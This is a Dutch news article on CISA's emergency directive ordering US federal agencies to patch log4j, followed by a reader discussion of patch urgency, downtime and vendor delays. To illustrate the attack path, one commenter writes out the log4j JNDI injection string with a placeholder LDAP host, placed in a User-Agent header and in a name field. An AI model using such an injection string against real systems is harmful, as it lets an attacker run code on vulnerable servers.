Cybersecuritycentrum VS: overheidsdiensten moeten log4j-systemen meteen patchen

De Cybersecurity and Infrastructure Security Agency, ofwel CISA, heeft een noodbevel afgekondigd waarmee Amerikaanse civiele overheidsdiensten- en agentschappen worden verplicht log4j-systemen meteen te patchen, of andere maatregelen te treffen.

Onder Emergency Directive 22-02 worden Amerikaanse, civiele overheidsafdelingen verplicht om te kijken of systemen met internettoegang gevoelig zijn voor log4j-kwetsbaarheden. Als deze systemen hier inderdaad gevoelig voor zijn, dan moeten overheidsafdelingen per direct updates installeren om cyberaanvallen tegen te gaan, of 'andere passende maatregelen' treffen.

De overheidsorganen moeten deze patches of andere maatregelen uiterlijk donderdag implementeren. De diensten moeten daarnaast aan de CISA rapporteren welke maatregelen ze hebben getroffen; hier krijgen ze tot dinsdag 28 december de tijd voor. Ook niet-overheidsorganisaties worden door het cybersecurityagentschap 'sterk aanbevolen' om meteen maatregelen te nemen.

CISA heeft een lijst verzameld van mitigatievoorstellen van onder meer IBM Security, Cloudflare en Microsoft waarmee overheidsdiensten onderzoek kunnen doen naar maatregelen. Ook is hier een GitHub-lijst van getroffen apparaten en diensten te vinden.

Het noodbevel is volgens het agentschap een reactie op actief misbruik van de log4j-kwetsbaarheden. CISA-directeur zegt dat de log4j-kwetsbaarheden een 'onacceptabel risico' vormen voor overheidsnetwerkbeveiliging.

Reacties (58)

[n9iels]

Dit klinkt als een flinke dot mosterd na de maaltijd. Ik mag hopen dat alles wat publiek toegankelijk is inmiddels toch wel patched is? Als je dat nu gaat doen ben je volgens mij gewoon 100% te laat. We zijn een week verder inmiddels en dit nieuwsbericht laat ook duidelijk zien dat je nu gewoon te laat bent. nieuws: Belgisch ministerie van Defensie is aangevallen via log4j-kwetsbaarheid

[Jay-v]

Ook wat NIET publiek toegankelijk is. Indien het kan connecten naar het internet moet het gepatched zijn. Dat is nou net het "probleem" met dit lek.

- A. Je front-end WebServer met PHP is niet vatbaar.
- B. De backend die wel communiceert met de front-end WebServer is Python dus ook niet vatbaar.
- C. De 3rd party data-analytics solution die dataverwerkt van A. is wel vatbaar.

Iemand surft naar www.a.com met user-agent: ${jndi:ldap://xxxx} en boem pats, systeem C is pwned.

Ander voorbeeld. A. B. C. zijn allemaal niet vatbaar, maar de software die je gebruikt voor shipping labels wel, en een klant gebruikt

First Name: Jay-v,
Last Name: ${jndi:ldap://xxxx}

[BytePhantomX]

Helemaal mee eens dat je dan ook kwetsbaar bent en een goed voorbeeld waarom het zo'n lastig lek is.

Maar ook hier geld, kijk goed naar de buitenwereld en schat in in hoeverre zo'n aanvalspad nu al werkelijk misbruikt wordt en op jou van toepassing is (kans) en wat er gebeurd als er misbruik van wordt gemaakt (impact). Dan zou je weleens tot de conclusie kunnen komen dat je jouw webshop niet preventief plat hoeft te leggen en nog wel kan afwachten tot er een patch komt. Aangezien dit soort multi-stap aanvallen nog niet veel voorkomen en handmatig door een aanvaller gedaan moeten worden. Voor nu wordt het m.i. vooral misbruikt door:
- coinminers
kans laag, aangezien ze voor low hanging fruit gaan en deze route met meer stappen te complex is, impact midden. Ja je bent gehackt, maar er ligt geen data op straat en je systemen werken nog.
- ransomware aanvallers
kans laag, gaan voor low hanging fruit en niet zo'n complex aanvalspad. Impact hoog. Maar voor deze groep hoop ik dat je andere mitigerende maatregelen hebt.
- nation state actoren
kans: laag (tenzij je iets hebt waar ze achteraan zitten, maar dan weet je dat wel), impact: laag. Meestal lezen ze alleen mee en als bijvoorbeeld MKB'er zul je er weinig last van hebben. Daarnaast hebben die wel meer mogelijkheden dan alleen Log4j misbruiken.
- security onderzoekers
kans: laag, zullen zich richten op grote partijen of je hebt gewoon pech. impact: laag, hopelijk melden ze het netjes

[Reactie gewijzigd door BytePhantomX op 23 juli 2024 04:21]

[Triblade_8472]

Nee hoor, de grootste leverancier van de NL overheid heeft bijvoorbeeld NOG STEEDS z'n zaakjes niet op orde.

[Verwijderd]

Misschien de naam van die leverancier die de zaken op zijn beloop laat eens noemen hier, dat nieuwe klanten van dit bedrijf vooraf weten waar mee in zee gaan.

[Triblade_8472]

Iedereen in overheidsland weet precies welke ik bedoel. Je kan er dus ook gewoon niet omheen helaas. Dat krijg je als de grote baas (vermoeddelijk) vele gratis golftourtjes (oid) heeft met topambtenaren. Dat laatste is natuurlijk dikke speculatie, maar ik verwacht dat het niet ver van de waarheid ligt.

[Trashed]

Uh oh.. is dat (nog steeds) de leverancier waarvan de naam direct bij me opkomt?

[Reactie gewijzigd door Trashed op 23 juli 2024 04:21]

[Triblade_8472]

Zeer waarschijnlijk.

[Trashed]

Ze leren het ook nooit bij de overheid..

[Snow_King]

Misschien moeten we dan maar eens gewoon downtime accepteren. Evenals dat we soms spoedreparaties aan wegen uitvoeren waardoor die ineens dicht zijn.

Gewoon starten met patchen! Per direct. Je ziet toch dat veel bedrijven het allemaal downtimeloos willen doen wat gewoon niet altijd kan.

Gas er op en patchen. Dat is wat je moet doen.

[TuxDePinguïn]

Evenals dat we soms spoedreparaties aan wegen uitvoeren waardoor die ineens dicht zijn.

Wat als die "weg" de enige weg is naar de SEH? Het mag natuurlijk niet, maar niet voor alles in de IT is een (werkbare) noodprocedure. Klakkeloos servers offline halen om het maar te patchen kan bij sommige instanties levens kosten.

We zitten nu met een enorm vervelend lek, en zo makkelijk is de oplossing niet. Ik merk dat de opmerkingen onder veel log4j-berichten erg op opmerkingen onder nu.nl artikelen beginnen te lijken.

[Wolfos]

Ik merk dat de opmerkingen onder veel log4j-berichten erg op opmerkingen onder nu.nl artikelen beginnen te lijken.

Altijd hier over cybersecurity. Het is altijd de schuld van het slachtoffer en had makkelijk voorkomen kunnen worden.

[Metalfreak]

Terwijl als we eens niet zoveel aan victim blaming zou doen, bedrijven ook opener zouden zijn over de kwetsbaarheden en er veel meer van elkaar geleerd kan worden.

Vervolgens zijn diezelfde mensen ook weer boos als bedrijven geen openheid geven na een aanval.

[Polderviking]

Ik vind de ICT wereld sowieso wel uniek in de verkapte afgunst naar elkaar.
Je mag niks meer leren, je bent gewoon dom als je iets niet weet.

[jvelite]

Niet heel uniek hoor, dit is gewoon virtue signaling.
Op geen enkele manier specifiek voor de IT. Helaas vrij standaard gedrag voor mensen.

"Kijk ons een goed zijn, wij hebben het wel op orde. Compleet andere klasse als dat stel zolderhobbyisten en/of overheidsluilakken"

[Metalfreak]

Iedereen lijkt vooral even te moeten showen hoeveel ze zelf weten en hoe goed ze bepaalde dingen hebben geregeld. De dingen die niet goed geregeld zijn, worden mooi verzwegen. Als je maar jezelf een schouderklopje kunt geven. Roepen dat iemand anders dom is, maakt je zelf niet slimmer.

Ja, dat is wel een typisch ICT-dingetje.

[YangWenli]

Zo ging het ooit ook bij de luchtvaart hoor.

Maar waar ik mij over verbaas is dat als er een Boeing vliegtuig neerstort gelijk de aandelen van dat bedrijf omlaag duiken en je met hangende pootjes wordt uitgenodigd in het Congres terwijl als een softwarebedrijf een slecht product aflevert iedereen zijn schouders ophaalt. Zijn er eigenlijk consequenties voor falen in deze bedrijfstak?

[Fiander]

Ik heb ook het idee dat veel mensen bij dit soort problemen zich proberen te verkopen/profileren om op deze manier een hoger uurloon los te kunnen krijgen.

[Simon Weel]

Je mag niks meer leren, je bent gewoon dom als je iets niet weet.

Helemaal off-topic, maar ik ben het hier helemaal mee eens. Vooral op Tweakers is een vraag posten op een van de forums een heikel proces - voordat je het weet heb je een hele reeks zure 'antwoorden' van betweters die vinden dat je 'beter moet zoeken' etc. Ik ben nog van een generatie die BBS-en en Fido-net gebruikte. Daar was de stelling: de enige domme vraag is de niet-gestelde vraag.

[jibjqrkl]

De beste/snelste manier om online het juiste antwoord te krijgen is door het foute antwoord te posten en wachten tot iemand je verbeterd

[d3burt]

Al is de kans minimaal 50/50 dat je een dag later het foute antwoord over het hele internet terugleest... :-)

[Triblade_8472]

Nou, er zijn gewoon pijlers die je dien te hebben. Heb je dat niet, dan ben je echt gewoon gevaarlijk bezig.
Bijvoorbeeld geen tape backup hebben. Als je online backup dan ook versleuteld wordt, tja... Dan kunnen er 2 dingen zijn. Of je manager wil er geen geld aan uitgeven, of de ITer is super dom bezig. Hoe dan ook, bedrijfsfout.

Soort parachute springen zonder parachute. Ja natuurlijk krijg je dan victim blaming. Niet per sé altijd de ITer, maar soms ook de organisatie die de ITer in staat moet stellen de zaken goed te regelen.

[GertMenkel]

Het bedrijf is pas slachtoffer als iemand ze daadwerkelijk hackt en ze schade berokkend. Tot die tijd is het hun verantwoordelijkheid om veilig met hun systemen om te gaan, en bekende veiligheidsproblemen op te lossen.

Ze hebben ervoor gekozen om hun diensten met een bepaalde tech stack te ontwikkelen en moeten zelf hun verantwoordelijkheid hierin nemen. De gegevens van al hun klanten, waar ze grotendeels onder de GDPR verantwoordelijk voor zijn, kunnen ieder moment op straat komen te liggen als ze hun services niet patchen.

Bedrijven zijn geen "slachtoffer" omdat ze zonder audit andermans code hebben gebruikt. Ze hebben het risico geaccepteerd en doen nu moeilijk dat bug in een zijproject van een stel hobbyisten hun bedrijf dreigt omver te werpen. Risicomanagement bij open source is lekker makkelijk als je gewoon aanneemt dat core libraries nooit grote kwetsbaarheden bevatten, maar dit bewijst maar weer hoe slecht die aanname is.

[lukjah]

Een snelweg dicht gooien kan ook levens kosten. Ransomware op zulke belangrijke servers kan nog veel meer levens kosten.

[elmuerte]

En het niet adresseren van dit issue kan ook levens kosten.

[Simon Weel]

Ik merk dat de opmerkingen onder veel log4j-berichten erg op opmerkingen onder nu.nl artikelen beginnen te lijken.

Volgens mij toch vooral Nederlands, met z'n 16+ miljoen bondscoaches. Zoals een onderzoek van de ANWB ooit leerde - 90% van de bevraagden vond zichzelf een beter chauffeur dan de rest. Southpark heeft daar een mooi personage voor uitgevonden.

[CAPSLOCK2000]

Wat als die "weg" de enige weg is naar de SEH? Het mag natuurlijk niet, maar niet voor alles in de IT is een (werkbare) noodprocedure. Klakkeloos servers offline halen om het maar te patchen kan bij sommige instanties levens kosten.

Natuurlijk zijn er altijd uitzonderingen, niemand die beweert dat je 100% direct uit moet zetten zonder na t e denken. Maar de grote bulk kan best even een paar minuten weg voor noodonderhoud. In de meeste gevallen zal de downtime overigens veel korter zijn.
Trouwens, als een systeem zo kritiek is dat je het niet een paar minuten kan missen dan zou je het eigenlijk toch "high available" moeten uitvoeren. Overal gaat wel eens iets stuk en daar moet je ook mee om kunnen gaan. Als je niet op korte termijn noodonderhoud kan doen aan je applicatie of systeem dan suggereert dat ook dat je omgeving eigenlijk heel fragiel is en niet bestand tegen kleine storingen.
Ik snap dat het makkelijker gezegd is dan gedaan, en, zoals dit stuk begon, er zijn altijd uitzonderingen.

Maar 95% van de problemen kun je wél direct aanpakken (als er een patch of mitigatie is). Laten we daar eens mee beginnen en er op vertrouwen dat de beheerders weten welke kritieke systemen een bijzondere behandeling nodig hebben. Kleine problemen lossen we wel op als we ze tegen komen in de test-omgeving, dat is sneller dan proberen alles vooruit te plannen. Dan moet je uiteraard wel een test-omgeving hebben.

Daarmee kom ik eigenlijk weer terug op mijn vorige punt: je moet je IT-omgeving goed inrichten. Als dat zo is dan kun je snel en met weinig risico reageren op dit soort situaties. Als je niet zo'n omgeving hebt dan is dat lastig maar dan zal je op de blaren moeten zitten. Het is natuurlijk wel sneu als dat op de rug van een systeembeheerder komt die niet de middelen krijgt om het goed te doen, maar dat is wat anders.

Laten we ons dus richten op snel handelen en vertrouwen op de professionaliteit van onze IT'ers, in plaats van direct op de rem te trappen. Af en toe zullen risico's tegen elkaar afgewogen moeten worden, maar gezien de enorme tijdsdruk en de grote risico's kun je maar beter nu snel handelen dan wachten tot je ziet dat het mis gaat.

[Max.Visser]

Ja ik ben het met je eens. Ik zou eerst identificeren welke systemen je niet offline kunt halen, die patchen maar daarna tochwel de rest offline halen. Als je gelijk een groot deel offline haalt, behalve dus je meest kritische systemen; creëer je een situatie die misschien erger voor jezelf is doordat de attack surface veel kleiner is geworden. (kwaadwillende hebben minder deuren om te kunnen controleren)

[Heidistein]

[...]
Wat als die "weg" de enige weg is naar de SEH? Het mag natuurlijk niet, maar niet voor alles in de IT is een (werkbare) noodprocedure. Klakkeloos servers offline halen om het maar te patchen kan bij sommige instanties levens kosten.

Dan moet je (al eerder trouwens) maar gouw eem' de asfaltmachine uit het hok pakken, en nog eem' een weggetje naar je SEH toe maken! Altijd handig, een reserveweg! Nu er een gat in zit moet je hem wel fiksen. Er had ook een ambu op in de fik kunnen vliegen, was 'ie ook dicht geweest.
Of een heli kopen, kan ook. Zie maar even.

[eragonsrune]

Heb er geen verstand van, maar klinkt als een (te) late reactie.

[olafske]

Dat is volledig correct. Wel is het helaas zo dat niet voor alles al een patch is. Gesloten software dat gebruik maakt van Log4J kan niet gepatcht worden zonder een update van de vendor. Als je wat globaler kijkt naar het bericht is het natuurlijk uit den zotte dat we systemen ineens moeten gaan patchen. Je systemen up to date houden zou een doorlopend proces moeten zijn. Ik heb helaas al genoeg bedrijven gezien waar dat helaas nog niet duidelijk was.

[Metalfreak]

En daar komen die bedrijven tegenwoordig niet meer mee weg. Heel lang heeft dat best goed gewerkt. Maar ik heb al wat producten gezien die echt nog geen update beschikbaar hebben en niet altijd van de minste vendors (ik kijk naar jou VMware ) en waarbij je dan hooguit een workaround toe kunt passen om het lek te dichten of zelfs gewoon een systeem af moet sluiten tot duidelijk is wat er wel en niet kwetsbaar is.

[Clevergyno]

Wat idioot dat VMware er gewoon makkelijk meerdere dagen over doet voordat je informatie krijgt. Ubiquiti was nog sneller.

[Reactie gewijzigd door Clevergyno op 23 juli 2024 04:21]

[paradoXical]

Hoezo kunnen gesloten systemen niet gepatched worden?

Ten eerste is het mogelijk een environment variabele te zetten welke de impact al verkleind.
Daarnaast zijn er scanning tools welke het mogelijk maken de jndi-class in de log4j2 jars actief te verwijderen, bijvoorbeeld: Logpresso, https://github.com/logpresso

Ik zie dit in mijn branche ook terug, organisaties bewegen echt ontzettend traag. SAS, een software suite voor analytics kwam ook pas op gang nadat ik zelf al systemen handmatig gepatched had, wat prima kan. Bedrijven wachten echter liever op een 'officiële' patch, maar zijn ondertussen wel kwetsbaar.

[Oyxl]

Die variabele werd later door organisaties al weer van de lijst met oplossingen gehaald. Blijkbaar voor hun applicaties niet voldoende veiligheid. Ik kan me daar iets bij voorstellen, aangezien je natuurlijk zelf het gedrag van een applicatie kunt dicteren en daarbij hoef je helemaal geen gebruik te maken van een environment variabele, of deze logica er zelfs bewust uit halen.

Persoonlijk zou ik 'm alsnog hebben geïmplementeerd, maar onze organisatie besloot dit niet te doen.

[Reactie gewijzigd door Oyxl op 23 juli 2024 04:21]

[blinchik]

Klopt, maar als je logpresso op een gesloten systeem uitvoert, is de kans wel heel groot dat de leverancier geen support meer wil leveren.

Maar goed, ik heb zelf ook al logpresso als "noodoplossing" gebruikt ...

[sweetdude]

Je systemen up to date houden zou een doorlopend proces moeten zijn. Ik heb helaas al genoeg bedrijven gezien waar dat helaas nog niet duidelijk was.

Je hebt gelijk maar deze gaat niet op omdat er nogal wat verschillende versies lek zijn en de laatste 2.17 pas recent is uitgekomen. Dus je systeem kan nog zo up-to-date zijn dat je alsnog een zero-day wat deze is moet gaan patchen achteraf.

[Anonymoussaurus]

Dus je hebt er geen verstand van, maar doet wel de aanname door te zeggen dat het een late reactie is?

Het NCSC was een stuk eerder, maar écht laat zijn ze ook weer niet. Overigens had de VS al een tijdje een repository: https://github.com/cisagov/log4j-affected-db

[eragonsrune]

Dat klopt, ik presenteer het ook niet als feit, een aanname ofwel hypothese is heel geschikt om een discussie te starten/verder onderzoek te doen.

Het probleem is al even bekend volgens mij, hackers staan niet stil, dus je kan best wat eerder dergelijke maatregelen nemen naar mijn idee. Zeker omdat men nog even de tijd krijgt en ook nodig heeft om het te regelen. Waarom de reactie wat stroperig is kan allerlei redenen hebben, maar misschien kunnen ze het protocol nog eens tegen het licht houden. De vrijblijvendheid van diensten om te patchen mag er wat mij betreft wel vanaf in deze tijd van vergaande digitalisering.

[Iblies]

Heb er geen verstand van, maar klinkt als een (te) late reactie.

? Hoe bedoel je.

Met corona hebben best veel (semi)criminelen zich gespecialiseerd in ict gerelateerde materie wat eerst meer een bijzaak was.

Met name landen waar door oa corona een flinke dip zit hebben veel meer mensen veel meer tijd en ook daar zit veel specialisatie, vb India, maar ook Z-amerikaanse landen.


Waren het eerst overheden die zich er hoofdzakelijk mee bezighielden, nu is het alles en iedereen die het proberen. Met kerst in zicht en de belangen financieel heel veel groter zullen er genoeg zijn die een poging zullen wagen.

[kodak]

Dat hangt er vanaf wat de bedoeling van de directive is.
Je kan waarschijnlijk aannemen dat het verplichten pas gaat gebeuren als organisaties onvoldoende eigen verantwoordelijkheid nemen. De vraag is dus hoeveel dat er zijn en waarom die een verplichting nodig hebben.

[EzMe]

De informatie is nu alweer achterhaald. Op het moment van schrijven zijn er 4 vulnerabilities gevonden in log4j. Upgraden naar 2.17 is nu het advies.Overigens ben ik benieuwd wat er nog meer gevonden gaat worden nu heel de wereld door de source heen loopt. Vertrouwen op de laatse patch is nog steeds gevaarlijk. Ik zou er voor kiezen om log4j diensten in de kersperiode niet extern benaderbaar aan te bieden gezien de lage bezetting op veel IT afdelingen.

//edit: CISA lijst waarnaar het artikel verwijst is bijgewerkt: (Updated December 18, 2021) On December 17, 2021, Apache released Log4j 2.17.0 for Java 8 users to address a denial-of-service (DOS) vulnerability—CVE-2021-45105.

[Reactie gewijzigd door EzMe op 23 juli 2024 04:21]

[BytePhantomX]

Dat er nieuwe vulnerabilities gevonden zouden worden, was te voorspellen. Bij nieuwe vulnerabilities is het altijd verstandig even te kijken wat de nieuwe kwetsbaarheid daadwerkelijk inhoud. Zou is een mogelijke DOS kwetsbaarheid voor veel bedrijven van totaal andere orde dan een RCE.

Uiteraard allemaal afhankelijk van je eigen risico analyse of wat de risico score van de kwetsbaarheid is voor jouw organisatie. Maar met dit soort zaken moet je echt wel waakzaam zijn voor de hoeveelheid FUD die verspreid wordt.

[Reactie gewijzigd door BytePhantomX op 23 juli 2024 04:21]

[SunnieNL]

Een DoS is zeker een ander risico dan een RCE, alleen een DoS kan nog steeds grote gevolgen hebben. Als dat de applicatie is die jou apparatuur in je fabriek draaiende houdt, wordt je ook niet blij. Dus om nu te zeggen dat een DoS met een score van 7.5 wel mee valt kun je ook zomaar niet zeggen. Daarnaast kan door een DoS weer iets omvallen waardoor een andere, mogelijke meer critical exploit ineens de kop opsteekt.

De CVE die een paar jaar geleden in de CPU's zaten hebben een CVSS score van 5.6 (ook DoS), maar dat zijn wel springplanken richting meer kritieke CVE's en dat wordt door malware gewoon gebruikt. Door die al te dichten kan men veel lastiger de kritieke exploits misbruiken.

[BytePhantomX]

Ik zeg nergens dat het meevalt en dat je vooral je eigen risico afweging moet maken. De voorbeelden die jij noemt zouden moeten leiden naar een risico afweging die bepaalt of je het toch moet patchen met spoed.

Waar ik me aan stoor is de FUD. Kwetsbaarheid 1 is 10/10 met RCE. Kwetsbaarheid 2 is een DoS met een 7,5/10. Nog steeds hoge score, maar door FUD gaat iedereen weer meer twijfelen. Kwetsbaarheid 1 noopt misschien naar het platleggen van je organisatie. T.a.v. 2 kun je misschien iets langer (dagen / weken) wachten of andere maatregelen nemen.

Ook een verschil, kwetsbaarheid 1 heeft 10/10, met proof of concept code en actief misbruik en sinds vandaag een wormable versie. Kwetsbaarheid 2 heeft nog geen POC en nog geen actief misbruik. En ook een CVSS van 5.6 kan misbruikt worden (anders was het geen kwetsbaarheid), maar in dat geval een springplank. Dat vereist wel echt een andere aanvaller en die meer complexiteit aankan.

Risico-inschatting maken en prioriteiten stellen. En dat is voor iedere organisatie uniek.

[Reactie gewijzigd door BytePhantomX op 23 juli 2024 04:21]

[ctrl-tab]

of gewoon die library excluden/disablen. meestal kan je logging gewoon uitzetten door een config change.
in het uiterste geval gooi je de file gewoon weg en wordt de applicatie mogelijk gewoon gestart.

[tweakorinho]

Misschien niet zo erg om sowieso structureel achterom te kijken naar dependencies.
Kan niet zo zijn dat dit de enige veelgebruikte library is waar 'dingen' mee mogelijk zijn.

[GertMenkel]

Ik denk dat het risico van de nieuwgevonden vulnerabilities dermate laag is dat je deze niet in dezelfde paniekpatchmodus hoeft te behandelen. Je moet kijken of de configuratie die je gebruikt je kwetsbaar maakt voor de tweede kwetsbaarheid, maar de andere twee zijn zo specifiek met een impact die zo laag is dat deze met de standaardsecurityprocedures mee kan.

Ik denk niet dat iemand je zomaar heel veel schade gaat berokkenen door je schijf te vullen met stack traces bijvoorbeeld, daar zit weinig praktisch nut in.

[michelb76]

Overigens ben ik benieuwd wat er nog meer gevonden gaat worden nu heel de wereld door de source heen loopt.

Vraag me dan ook af hoe het met andere opensource toepassing gaat, waar de hele wereld al decennia doorheen kan lopen. Wat het bij log4j geen prioriteit? Niet om te schoppen ofzo, maar ik hoor vaak als speerpunt van opensource dat iedereen het kan uitbreiden en dat security issues makkelijker opgemerkt kunnen worden. Dat was hier dan niet het geval, zeker als je kijkt naar wat voor extreem slordig stukje code dit was. Wel fijn dat het extreem snel gefixed wordt/kan worden.

[Cobalt]

Los van de VS overheid.

De tool ViewPower en ViewPower Pro V2.0-20363 welke gebruikt kan worden voor USP'en van FSP, PowerWalker, en andere merken gebruikt ook nog de log4j 2.14.0. Dat is wellicht relevant voor tweakers thuis.

[Alxndr]

Vrijdag 10 gingen overal de alarmbellen af, en nu is er nog tot donderdag de 23 tijd om te patchen? Dat is verdomme bijna 2 hele weken... Als je zo slecht reageert verdien je ook gewoon een dikke ransomeware aanval, toch jammer dat we daar met z'n allen de dupe van worden en uiteindelijk de rekening voor moeten betalen.

Zouden er ook ergens wel mensen voor nalatigheid op het matje geroepen worden en er echte consequenties zoals boetes/ontslag/vervolging voor criminele nalatigheid aan verbonden worden?

[Cobalt]

Heb jij alles al geüpdatet? Je zonnepanelen, tv, autoradio, wasmachine, printers, ups, etc... het is echt een hele lang lijst. Er waren al een stuk of 6000 publieke opensource projecten op GitHub die het gebruikte. De gene die vervolgt dienen te worden zijn die mensen die misbruik proberen te maken.

[Alxndr]

Het gaat hier in het artikel over civiele overheidsdiensten- en agentschappen, en ik doelde op grote bedrijven.

Hoewel ik natuurlijk ook niet op een ransomeware aanval zit te wachten, zou de schade bij mij heel erg beperkt zijn, en bovendien mijn eigen verantwoordelijkheid. Ik mag toch hopen dat Google, waar al mijn spullen in de cloud staan, een bedrijf is wat wel direct de eerste dag al alle nodige (extra) maatregelen heeft getroffen en ging updaten?

ps, van het lijstje wat je noemt heb ik alleen een TV, maar hoe kan die hiervan de dupe worden? En zelfs als, daar staat 0 personalijke data op, dus een factory reset en hij doet het toch gewoon weer?

[Reactie gewijzigd door Alxndr op 23 juli 2024 04:21]

[Cobalt]

Je kan code uitvoeren met deze hack. Dus tv's die aan het internet hangen en vatbaar zijn voor deze hack kunnen vervolgens ingezet worden om bijvoorbeeld spam te versturen of ddos uit te voeren of voor iets anders

[thof]

Onder Emergency Directive 22-02 worden Amerikaanse, civiele overheidsafdelingen verplicht om te kijken of systemen met internettoegang gevoelig zijn voor log4j-kwetsbaarheden. Als deze systemen hier inderdaad gevoelig voor zijn, dan moeten overheidsafdelingen per direct updates installeren om cyberaanvallen tegen te gaan, of 'andere passende maatregelen' treffen.

Waarom nou alleen voor systemen met internettoegang? Dat onderscheid is bijna niet meer te maken, je hangt een systeem wat aan het internet hangt wellicht verderop in de keten aan een machine die geen internet verbinding heeft. Of doet zo iets in de toekomst. Dan heb je alsnog een indirecte RCE te pakken.

Daarnaast kan het ook een mooie stepping stone zijn als je al ergens binnen bent. Je zoekt dan interne machines op die wellicht (nog) niet gepatched zijn en kan zo je aanwezigheid in een netwerk vergroten.

Nee, wat mij betreft alle machines patchen ongeacht of die aan het internet hangt of niet. Allemaal uit de lucht halen tot ze zijn gepatched en dan beginnen met de meest urgente zodat die minimaal uit de lucht is.

[ctrl-tab]

ja en nee. er is wel internet toegang nodig op de machine waar de betreffende app met log4j draait. althans dat gold voor de eerste vulnerability.

[GertMenkel]

De exploit vereist een download vanaf de aangevallen server. Als de server die geraakt wordt niet bij de payload kan, werkt de exploit niet en kan de patch dus uitgesteld worden en meegenomen worden in de normale patch life cycle. Hier maakt "internettoegang" versus "van buitenaf bereikbaar" natuurlijk heel erg veel uit.

Echter ken ik niet veel systemen die niet op zijn minst DNS access hebben, dus in de praktijk kun je bijna iedere server, ook intern, als kwetsbaar beschouwen. Alleen systemen met een compleet afgesloten LAN zonder enige vorm van internettoegang zijn veilig, ik vermoed dat dat in de praktijk alleen systemen achter een air gap zijn.

Zelfs achter een air gap kan het zo zijn dat een kwaadwillende een interne server op het gescheiden netwerk weet te infiltreren en de kwetsbaarheid gebruikt om zich in het systeem voort te bewegen, dus de patch is zeker op termijn alsnog nodig!

[dfury]

Dan lees je ook nog eens dat Solarwinds SAM en DPA zijn getroffen.